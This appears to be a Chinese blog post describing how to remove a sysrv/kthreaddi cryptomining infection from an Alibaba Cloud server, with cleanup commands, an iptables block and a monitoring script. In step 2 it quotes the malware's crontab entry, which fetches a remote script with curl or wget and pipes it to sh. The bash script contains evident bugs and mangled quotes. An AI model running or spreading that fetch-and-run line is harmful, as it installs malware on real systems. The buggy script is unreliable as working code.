当登录到阿里云账号后,查看云服务器内存突然增高,如下图时,很有可能是被攻击了,此时可采取以下步骤彻底解决:
1- 用root账号远程登录阿里云服务器,首先利用top命令查看内存使用情况:
#top 查看是否存在[kthreaddi] 和 sysrv* 或minerd、tplink等恶意进程。
如果发现部份进程CPU消耗很高,自己不清楚,可以百度搜索对应的进程名称,是病毒的话,百度上都会有很多人反映的。
2- 使用 crontab -e 查询定时任务
#crontab -e
*/30 (curl —user-agent curl_cron [http://31.*.*.*||wget**](http://194.40.243.98%7C%7Cwget)** —user-agent wget_cron -q -O - [http://31.*.*.*)|sh**](http://194.40.243.98)%7Csh)
发现会存在类似于上面的定时任务,首选确定是不是自己添加的。如不是须删除。
3- 使用kill
命令关闭1-步骤中的恶意进程(注意须先关闭sysrv007进程号):
kill -9 22178;
kill -9 25277;
注意:注意须先关闭sysrv007进程号,否则sysrv007会在[kthreaddi] 进程停止后,马上重启[kthreaddi] 进程。
4- 使用以下命令,通过PID号获取该恶意文件的路径。然后,找到并删除对应的文件。
# ls -l /proc/$PID/exe
其中,$PID
为进程对应的PID号,可以通过ps
或者top
获取。
5- 处理隐藏的恶意模块
被隐藏的恶意模块一般有:raid.ko
、iptable_mac.ko
、snd_pcs.ko
、usb_pcs.ko
和ipv6_kac.ko
。您可以使用 file /lib/udev/usb_control/...
命令,分别检查是否存在以上模块。
例如,使用以下命令查看是否存在iptable_mac.ko模块:
#file /lib/udev/usb_control/iptable_mac.ko
命令执行结果如下图所示,表明存在隐藏的iptable_mac.ko模块。
6- 利用IP防火墙,封死病毒的IP地址段,首先需确认31Ip段均不是国内IP(我的业务都在国内),如何确认IP段是不是国内见:仅允许国内IP访问服务器,限制国外IP访问
# iptables -I INPUT -s 31.0.0.0/8 -j DROP # 禁止31.的IP整段访问服务器
# iptables-save >>/etc/sysconfig/iptables # 将IP规则保存到文件
# vim /etc/sysconfig/iptables
总结:
前几次,我利用1—-5步,做了后,发现过了几个小时,病毒有出现了,修改了云账号,远程root账号密码,都没用,后面加了第6步才算有用了,过了3天都没在出现,算是解决了,后续继续跟进中。
7- 另外我创建了个定时任务,持续监听记录以上病毒程序,本想的是自动kill掉病毒进程,但加了第6步后,却没在出现了,导致一致没用上。脚本如下:
#!/bin/bash
#这里可替换为你自己的执行程序,其他代码无需更改
#检查程序是否在运行
time2=$(date “+%Y%m%d%H%M%S”)
echo “${time2}开始检查异常进程:sysrv0 + kthreaddi start “ >> /mnt/waKuang.log
#判断是否存在sysrv0进程
is_sysrv_exist(){
sysrv_pid=ps -ef|grep sysrv0*|grep -v grep|awk '{print $2}'
#如果不存在返回1,存在返回0
if [ -z “${sysrv_pid}” ]; then
return 1
else
return 0
fi
}
is_sysrv_exist
if [ $? -eq “0” ]; then
echo “sysrv0 is running pid=${sysrv_pid}” >> /mnt/waKuang.log
kill -9 $sysrv_pid
else
echo “sysrv0 is not running “ >> /mnt/waKuang.log
fi
#判断是否存在kthreaddi 进程
is_kthreaddi_exist(){
kthreaddi_pid=ps -ef|grep kthreaddi |grep -v grep|awk '{print $2}'
#如果不存在返回1,存在返回0
if [ -z “${sysrv_pid}” ]; then
return 1
else
return 0
fi
}
is_kthreaddi_exist
if [ $? -eq “0” ]; then
echo “kthreaddi is running pid=${kthreaddi_pid}” >> /mnt/waKuang.log
kill -9 $kthreaddi_pid
else
echo “kthreaddi is not running “ >> /mnt/waKuang.log
fi
time2=$(date “+%Y%m%d%H%M%S”)
echo “${time2} 结束检查异常进程:sysrv0* + kthreaddi end “ >> /mnt/waKuang.log
#可惜没用上